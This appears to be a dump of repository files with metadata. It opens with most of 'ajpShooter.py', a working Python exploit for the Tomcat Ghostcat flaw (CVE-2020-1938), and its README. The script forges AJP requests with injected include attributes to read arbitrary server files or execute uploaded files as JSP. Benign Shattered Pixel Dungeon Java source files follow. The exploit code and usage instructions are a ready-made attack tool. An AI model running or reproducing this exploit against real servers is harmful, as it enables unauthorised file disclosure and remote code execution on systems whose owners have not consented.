headers_ajp.append(self.ajp_string(header_name)) headers_ajp.append(self.ajp_string(header_value)) return self.int2byte(len(self.headers), 2), b''.join(headers_ajp) def make_attributes(self): ''' org.apache.catalina.jsp_file javax.servlet.include.servlet_path + javax.servlet.include.path_info ''' attribute2code = { b'remote_user': b'\x03', b'auth_type': b'\x04', b'query_string': b'\x05', b'jvm_route': b'\x06', b'ssl_cert': b'\x07', b'ssl_cipher': b'\x08', b'ssl_session': b'\x09', b'req_attribute': b'\x0A', # Name (the name of the attribut follows) b'ssl_key_size': b'\x0B' } attributes_ajp = [] for (name, value) in self.attributes: code = attribute2code.get(name, b'') if code != b'': attributes_ajp.append(code) if code == b'\x0A': for v in value: attributes_ajp.append(self.ajp_string(v)) else: attributes_ajp.append(self.ajp_string(value)) return b''.join(attributes_ajp) def ajp_string(self, message_bytes): # an AJP string # the length of the string on two bytes + string + plus two null bytes message_len_int = len(message_bytes) return self.int2byte(message_len_int, 2) + message_bytes + b'\x00' def int2byte(self, data, byte_len=1): return data.to_bytes(byte_len, 'big') def make_forward_request_package(self): ''' AJP13_FORWARD_REQUEST := prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST method (byte) protocol (string) req_uri (string) remote_addr (string) remote_host (string) server_name (string) server_port (integer) is_ssl (boolean) num_headers (integer) request_headers *(req_header_name req_header_value) attributes *(attribut_name attribute_value) request_terminator (byte) OxFF ''' req_ob = urllib.parse.urlparse(self.request_url) # JK_AJP13_FORWARD_REQUEST prefix_code_int = 2 prefix_code_bytes = self.int2byte(prefix_code_int) method_bytes = self.int2byte(self.method2code(self.method)) protocol_bytes = b'HTTP/1.1' req_uri_bytes = req_ob.path.encode('utf8') remote_addr_bytes = b'127.0.0.1' remote_host_bytes = b'localhost' server_name_bytes = req_ob.hostname.encode('utf8') # SSL flag if req_ob.scheme == 'https': is_ssl_boolean = 1 else: is_ssl_boolean = 0 # port server_port_int = req_ob.port if not server_port_int: server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443 server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int))) num_headers_bytes, headers_ajp_bytes = self.make_headers() attributes_ajp_bytes = self.make_attributes() message = [] message.append(prefix_code_bytes) message.append(method_bytes) message.append(self.ajp_string(protocol_bytes)) message.append(self.ajp_string(req_uri_bytes)) message.append(self.ajp_string(remote_addr_bytes)) message.append(self.ajp_string(remote_host_bytes)) message.append(self.ajp_string(server_name_bytes)) message.append(server_port_bytes) message.append(is_ssl_bytes) message.append(num_headers_bytes) message.append(headers_ajp_bytes) message.append(attributes_ajp_bytes) message.append(b'\xff') message_bytes = b''.join(message) send_bytes = b'\x12\x34' + self.ajp_string(message_bytes) return send_bytes class ajpResponse(object): def __init__(self, s, out_file): self.sock = s self.out_file = out_file self.body_start = False self.common_response_headers = { b'\x01': b'Content-Type', b'\x02': b'Content-Language', b'\x03': b'Content-Length', b'\x04': b'Date', b'\x05': b'Last-Modified', b'\x06': b'Location', b'\x07': b'Set-Cookie', b'\x08': b'Set-Cookie2', b'\x09': b'Servlet-Engine', b'\x0a': b'Status', b'\x0b': b'WWW-Authenticate', } if not self.out_file: self.out_file = False else: log('*', 'store response in %s' % self.out_file) self.out = open(self.out_file, 'wb') def parse_response(self): log('debug', 'start') magic = self.recv(2) # first two bytes are the 'magic' log('debug', 'magic', magic, binascii.b2a_hex(magic)) # next two bytes are the length data_len_int = self.read_int(2) code_int = self.read_int(1) log('debug', 'code', code_int) if code_int == 3: self.parse_send_body_chunk() elif code_int == 4: self.parse_headers() elif code_int == 5: self.parse_response_end() quit() self.parse_response() def parse_headers(self): log("append", '\n') log('debug', 'parsing RESPONSE HEADERS') status_int = self.read_int(2) msg_bytes = self.read_string() log('<', status_int, msg_bytes.decode('utf8')) headers_number_int = self.read_int(2) log('debug', 'headers_nb', headers_number_int) for i in range(headers_number_int): # header name: two cases first_byte = self.recv(1) second_byte = self.recv(1) if first_byte == b'\xa0': header_key_bytes = self.common_response_headers[second_byte] else: header_len_bytes = first_byte + second_byte header_len_int = int.from_bytes(header_len_bytes, byteorder='big') header_key_bytes = self.read_bytes(header_len_int) # consume the 0x00 terminator self.recv(1) header_value_bytes = self.read_string() try: header_key_bytes = header_key_bytes.decode('utf8') header_value_bytes = header_value_bytes.decode('utf8') except: pass log('<', '%s: %s' % (header_key_bytes, header_value_bytes)) def parse_send_body_chunk(self): if not self.body_start: log('append', '\n') log('debug', 'start parsing body chunk') self.body_start = True chunk = self.read_string() if self.out_file: self.out.write(chunk) else: try: chunk = chunk.decode('utf8') except: pass log('append', chunk) def parse_response_end(self): log('debug', 'start parsing end') code_reuse_int = self.read_int(1) log('debug', "finish parsing end", code_reuse_int) self.sock.close() def read_int(self, int_len): return int.from_bytes(self.recv(int_len), byteorder='big') def read_bytes(self, bytes_len): return self.recv(bytes_len) def read_string(self, int_len=2): data_len = self.read_int(int_len) data = self.recv(data_len) # consume the 0x00 terminator end = self.recv(1) log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end)) return data def recv(self, data_len): data = self.sock.recv(data_len) while len(data) < data_len: log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data))) data += self.sock.recv(data_len - len(data)) return data class ajpShooter(object): def __init__(self, args): self.args = args self.headers = args.header self.ajp_port = args.ajp_port self.requesturl = args.url self.target_file = args.target_file self.shooter = args.shooter self.method = args.X self.out_file = args.out_file def shoot(self): headers = self.transform_headers() target_file = self.target_file.encode('utf8') attributes = [] evil_req_attributes = [ (b'javax.servlet.include.request_uri', b'index'), (b'javax.servlet.include.servlet_path', target_file) ] for req_attr in evil_req_attributes: attributes.append((b"req_attribute", req_attr)) if self.shooter == 'read': self.requesturl += '/index.txt' else: self.requesturl += '/index.jsp' ajp_ip = urllib.parse.urlparse(self.requesturl).hostname s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ajp_ip, self.ajp_port)) message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package() s.send(message) ajpResponse(s, self.out_file).parse_response() def transform_headers(self): self.headers = [] if not self.headers else self.headers newheaders = [] for header in self.headers: hsplit = header.split(':') hname = hsplit[0] hvalue = ':'.join(hsplit[1:]) newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8'))) return newheaders if __name__ == "__main__": # parse command line arguments print(''' _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test ''') parser = argparse.ArgumentParser() parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/') parser.add_argument('ajp_port', default=8009, type=int, help='ajp port') parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg') parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file') parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url') parser.add_argument('-H', '--header', help='add a header', action='append') parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET', choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND']) parser.add_argument('-d', '--data', nargs=1, help='The data to POST') parser.add_argument('-o', '--out-file', help='write response to file') parser.add_argument('--debug', action='store_true', default=False) args = parser.parse_args() debug = args.debug ajpShooter(args).shoot()
13,628
ajpShooter
py
en
python
code
{"qsc_code_num_words": 1655, "qsc_code_num_chars": 13628.0, "qsc_code_mean_word_length": 4.3897281, "qsc_code_frac_words_unique": 0.1776435, "qsc_code_frac_chars_top_2grams": 0.00825877, "qsc_code_frac_chars_top_3grams": 0.02973159, "qsc_code_frac_chars_top_4grams": 0.02615279, "qsc_code_frac_chars_dupe_5grams": 0.11094288, "qsc_code_frac_chars_dupe_6grams": 0.06648314, "qsc_code_frac_chars_dupe_7grams": 0.03234687, "qsc_code_frac_chars_dupe_8grams": 0.0110117, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01902434, "qsc_code_frac_chars_whitespace": 0.30958321, "qsc_code_size_file_byte": 13628.0, "qsc_code_num_lines": 386.0, "qsc_code_num_chars_line_max": 113.0, "qsc_code_num_chars_line_mean": 35.30569948, "qsc_code_frac_chars_alphabet": 0.75310873, "qsc_code_frac_chars_comments": 0.09245671, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.07586207, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0137931, "qsc_code_frac_chars_string_length": 0.15812808, "qsc_code_frac_chars_long_word_length": 0.01075534, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.06896552, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.00689655, "qsc_codepython_frac_lines_import": 0.0137931, "qsc_codepython_frac_lines_simplefunc": 0.010344827586206896, "qsc_codepython_score_lines_no_logic": 0.14137931, "qsc_codepython_frac_lines_print": 0.01034483}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0}
00theway/Ghostcat-CNVD-2020-10487
README.md
# Ghostcat exp for CNVD-2020-10487(CVE-2020-1938) tomcat ajp协议任意属性设置导致的文件读取和文件执行。 [漏洞分析](https://www.00theway.org/2020/02/22/ajp-shooter-from-source-code-to-exploit/) # 代码仅供安全测试,请勿用于非法用途,造成的后果使用者负责与本人无关!!! ``` python3 ajpShooter.py -h _ _ __ _ _ /_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __ //_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__| / _ \| | |_) | _\ \ | | | (_) | (_) | || __/ | \_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_| |__/|_| 00theway,just for test usage: ajpShooter.py [-h] [--ajp-ip AJP_IP] [-H HEADER] [-X {GET,POST,HEAD,OPTIONS,PROPFIND}] [-d DATA] [-o OUT_FILE] [--debug] url ajp_port target_file {read,eval} positional arguments: url target site's context root url like http://www.example.com/demo/ ajp_port ajp port target_file target file to read or eval like /WEB- INF/web.xml,/image/evil.jpg {read,eval} read or eval file optional arguments: -h, --help show this help message and exit --ajp-ip AJP_IP ajp server ip,default value will parse from from url -H HEADER, --header HEADER add a header -X {GET,POST,HEAD,OPTIONS,PROPFIND} Sets the method (default: GET). -d DATA, --data DATA The data to POST -o OUT_FILE, --out-file OUT_FILE write response to file --debug ``` read file ![](ajp-read.png) execute file ![](ajp-execute.png) save file ![](ajp-save.png) TODO * POST DATA * run as a proxy
1,736
README
md
en
markdown
text
{"qsc_doc_frac_chars_curly_bracket": 0.00460829, "qsc_doc_frac_words_redpajama_stop": 0.08495146, "qsc_doc_num_sentences": 19.0, "qsc_doc_num_words": 191, "qsc_doc_num_chars": 1736.0, "qsc_doc_num_lines": 66.0, "qsc_doc_mean_word_length": 4.2513089, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.5078534, "qsc_doc_entropy_unigram": 4.28091653, "qsc_doc_frac_words_all_caps": 0.08252427, "qsc_doc_frac_lines_dupe_lines": 0.04347826, "qsc_doc_frac_chars_dupe_lines": 0.00434153, "qsc_doc_frac_chars_top_2grams": 0.02463054, "qsc_doc_frac_chars_top_3grams": 0.02955665, "qsc_doc_frac_chars_top_4grams": 0.02463054, "qsc_doc_frac_chars_dupe_5grams": 0.08128079, "qsc_doc_frac_chars_dupe_6grams": 0.08128079, "qsc_doc_frac_chars_dupe_7grams": 0.08128079, "qsc_doc_frac_chars_dupe_8grams": 0.0, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 1.0, "qsc_doc_num_chars_sentence_length_mean": 19.92771084, "qsc_doc_frac_chars_hyperlink_html_tag": 0.04493088, "qsc_doc_frac_chars_alphabet": 0.6969697, "qsc_doc_frac_chars_digital": 0.02673797, "qsc_doc_frac_chars_whitespace": 0.35368664, "qsc_doc_frac_chars_hex_words": 0.0}
1
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/input/NoosaInputProcessor.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.input; import com.badlogic.gdx.Input; import com.badlogic.gdx.InputProcessor; import com.badlogic.gdx.utils.IntMap; import com.watabou.utils.PointF; import com.watabou.utils.Signal; public abstract class NoosaInputProcessor<T> implements InputProcessor { protected Signal<Key<T>> eventKey = new Signal<>(true); protected Signal<Touch> eventTouch = new Signal<>(true); protected Signal<PDMouseEvent> eventMouse = new Signal<>(true); protected IntMap<Touch> pointers = new IntMap<>(); public static final int MODIFIER_KEY = Input.Keys.CONTROL_LEFT; public static boolean modifier = false; /** * Called after the platform has been initialized */ public void init() { // Do nothing } @Override public boolean keyDown(int keycode) { switch (keycode) { case Input.Keys.VOLUME_DOWN: case Input.Keys.VOLUME_UP: return false; case MODIFIER_KEY: modifier = true; default: eventKey.dispatch( new Key<>(keycode, keycodeToGameAction(keycode), true ) ); return true; } } protected abstract T keycodeToGameAction(int keycode); @Override public boolean keyUp(int keycode) { switch (keycode) { case Input.Keys.VOLUME_DOWN: case Input.Keys.VOLUME_UP: return false; case MODIFIER_KEY: modifier = false; default: eventKey.dispatch( new Key<>(keycode, keycodeToGameAction(keycode), false ) ); return true; } } @Override public boolean keyTyped(char character) { return false; } @Override public boolean mouseMoved(int screenX, int screenY) { return false; } @Override public boolean scrolled(int amount) { eventMouse.dispatch(new PDMouseEvent(amount)); return true; } public void addKeyListener(Signal.Listener<Key<T>> listener) { eventKey.add(listener); } public void removeKeyListener(Signal.Listener<Key<T>> listener) { eventKey.remove(listener); } public void addTouchListener(Signal.Listener<Touch> listener) { eventTouch.add(listener); } public void removeTouchListener(Signal.Listener<Touch> listener) { eventTouch.remove(listener); } public void addMouseListener(Signal.Listener<PDMouseEvent> listener) { eventMouse.add(listener); } public void removeMouseListener(Signal.Listener<PDMouseEvent> listener) { eventMouse.remove(listener); } public void cancelKeyEvent() { eventKey.cancel(); } public void cancelTouchEvent() { eventTouch.cancel(); } public void cancelMouseEvent() { eventMouse.cancel(); } public void removeAllKeyEvent() { eventKey.removeAll(); } public void removeAllTouchEvent() { eventTouch.removeAll(); } public void removeAllMouseEvent() { eventMouse.removeAll(); } public static class PDMouseEvent { // TODO: This should probably contain the position of the mouse as well to be used by 'mouseMoved' public final int scroll; public PDMouseEvent(int scroll) { this.scroll = scroll; } } public static class Key<T> { // FIXME: This is only here to support reading the key from PD-Classes, but that should also be abstracted and this removed public final int code; public final T action; public final boolean pressed; public Key(int code, T action, boolean pressed) { this.code = code; this.action = action; this.pressed = pressed; } } public static class Touch { public PointF start; public PointF current; public boolean down; public Touch(int x, int y) { start = new PointF(x, y); current = new PointF(x, y); down = true; } public void update(int x, int y) { current.set(x, y); } public Touch up() { down = false; return this; } } }
4,411
NoosaInputProcessor
java
en
java
code
{"qsc_code_num_words": 551, "qsc_code_num_chars": 4411.0, "qsc_code_mean_word_length": 5.7168784, "qsc_code_frac_words_unique": 0.34664247, "qsc_code_frac_chars_top_2grams": 0.04444444, "qsc_code_frac_chars_top_3grams": 0.03428571, "qsc_code_frac_chars_top_4grams": 0.02412698, "qsc_code_frac_chars_dupe_5grams": 0.25650794, "qsc_code_frac_chars_dupe_6grams": 0.14285714, "qsc_code_frac_chars_dupe_7grams": 0.10349206, "qsc_code_frac_chars_dupe_8grams": 0.10349206, "qsc_code_frac_chars_dupe_9grams": 0.06412698, "qsc_code_frac_chars_dupe_10grams": 0.06412698, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00474728, "qsc_code_frac_chars_whitespace": 0.18816595, "qsc_code_size_file_byte": 4411.0, "qsc_code_num_lines": 191.0, "qsc_code_num_chars_line_max": 126.0, "qsc_code_num_chars_line_mean": 23.09424084, "qsc_code_frac_chars_alphabet": 0.87489528, "qsc_code_frac_chars_comments": 0.2434822, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.176, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0052356, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.16, "qsc_codejava_score_lines_no_logic": 0.328, "qsc_codejava_frac_words_no_modifier": 0.95238095, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 0.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glscripts/Script.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glscripts; import com.watabou.glwrap.Program; import com.watabou.glwrap.Shader; import com.watabou.utils.Reflection; import java.util.HashMap; public class Script extends Program { private static final HashMap<Class<? extends Script>,Script> all = new HashMap<>(); private static Script curScript = null; private static Class<? extends Script> curScriptClass = null; @SuppressWarnings("unchecked") public synchronized static<T extends Script> T use( Class<T> c ) { if (c != curScriptClass) { Script script = all.get( c ); if (script == null) { script = Reflection.newInstance( c ); all.put( c, script ); } if (curScript != null) { curScript.unuse(); } curScript = script; curScriptClass = c; curScript.use(); } return (T)curScript; } public synchronized static void reset() { for (Script script:all.values()) { script.delete(); } all.clear(); curScript = null; curScriptClass = null; } public void compile( String src ) { String[] srcShaders = src.split( "//\n" ); attach( Shader.createCompiled( Shader.VERTEX, srcShaders[0] ) ); attach( Shader.createCompiled( Shader.FRAGMENT, srcShaders[1] ) ); link(); } public void unuse() { } }
2,052
Script
java
en
java
code
{"qsc_code_num_words": 264, "qsc_code_num_chars": 2052.0, "qsc_code_mean_word_length": 5.35227273, "qsc_code_frac_words_unique": 0.48863636, "qsc_code_frac_chars_top_2grams": 0.02830856, "qsc_code_frac_chars_top_3grams": 0.02760085, "qsc_code_frac_chars_top_4grams": 0.0403397, "qsc_code_frac_chars_dupe_5grams": 0.05803255, "qsc_code_frac_chars_dupe_6grams": 0.03963199, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01165644, "qsc_code_frac_chars_whitespace": 0.20565302, "qsc_code_size_file_byte": 2052.0, "qsc_code_num_lines": 83.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 24.72289157, "qsc_code_frac_chars_alphabet": 0.85521472, "qsc_code_frac_chars_comments": 0.38060429, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01022817, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codejava_cate_var_zero": 0.0, "qsc_codejava_frac_lines_func_ratio": 0.04545455, "qsc_codejava_score_lines_no_logic": 0.15909091, "qsc_codejava_frac_words_no_modifier": 0.66666667, "qsc_codejava_frac_words_legal_var_name": 1.0, "qsc_codejava_frac_words_legal_func_name": 1.0, "qsc_codejava_frac_words_legal_class_name": 1.0, "qsc_codejava_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codejava_cate_var_zero": 0, "qsc_codejava_frac_lines_func_ratio": 0, "qsc_codejava_score_lines_no_logic": 0, "qsc_codejava_frac_lines_print": 0}
00-Evan/shattered-pixel-dungeon-gdx
PD-classes/src/com/watabou/glwrap/Blending.java
/* * Pixel Dungeon * Copyright (C) 2012-2015 Oleg Dolya * * Shattered Pixel Dungeon * Copyright (C) 2014-2019 Evan Debenham * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/> */ package com.watabou.glwrap; import com.badlogic.gdx.Gdx; import com.badlogic.gdx.graphics.GL20; public class Blending { public static void useDefault(){ enable(); setNormalMode(); } public static void enable(){ Gdx.gl.glEnable( GL20.GL_BLEND ); } public static void disable(){ Gdx.gl.glDisable( GL20.GL_BLEND ); } //in this mode colors overwrite eachother, based on alpha value public static void setNormalMode(){ Gdx.gl.glBlendFunc( GL20.GL_SRC_ALPHA, GL20.GL_ONE_MINUS_SRC_ALPHA ); } //in this mode colors add to eachother, eventually reaching pure white public static void setLightMode(){ Gdx.gl.glBlendFunc( GL20.GL_SRC_ALPHA, GL20.GL_ONE ); } }
1,471
Blending
java
en
java
code
{"qsc_code_num_words": 217, "qsc_code_num_chars": 1471.0, "qsc_code_mean_word_length": 4.92165899, "qsc_code_frac_words_unique": 0.5437788, "qsc_code_frac_chars_top_2grams": 0.03370787, "qsc_code_frac_chars_top_3grams": 0.07490637, "qsc_code_frac_chars_top_4grams": 0.05337079, "qsc_code_frac_chars_dupe_5grams": 0.14981273, "qsc_code_frac_chars_dupe_6grams": 0.12546816, "qsc_code_frac_chars_dupe_7grams": 0.07303371, "qsc_code_frac_chars_dupe_8grams": 0.07303371, "qsc_code_frac_chars_dupe_9grams": 0.07303371, "qsc_code_frac_chars_dupe_10grams": 0.07303371, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02576891, "qsc_code_frac_chars_whitespace": 0.18218899, "qsc_code_size_file_byte": 1471.0, "qsc_code_num_lines": 52.0, "qsc_code_num_chars_line_max": 72.0, "qsc_code_num_chars_line_mean": 28.28846154, "qsc_code_frac_chars_alphabet": 0.86201164, "qsc_code_frac_chars_comments": 0.62134602, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, 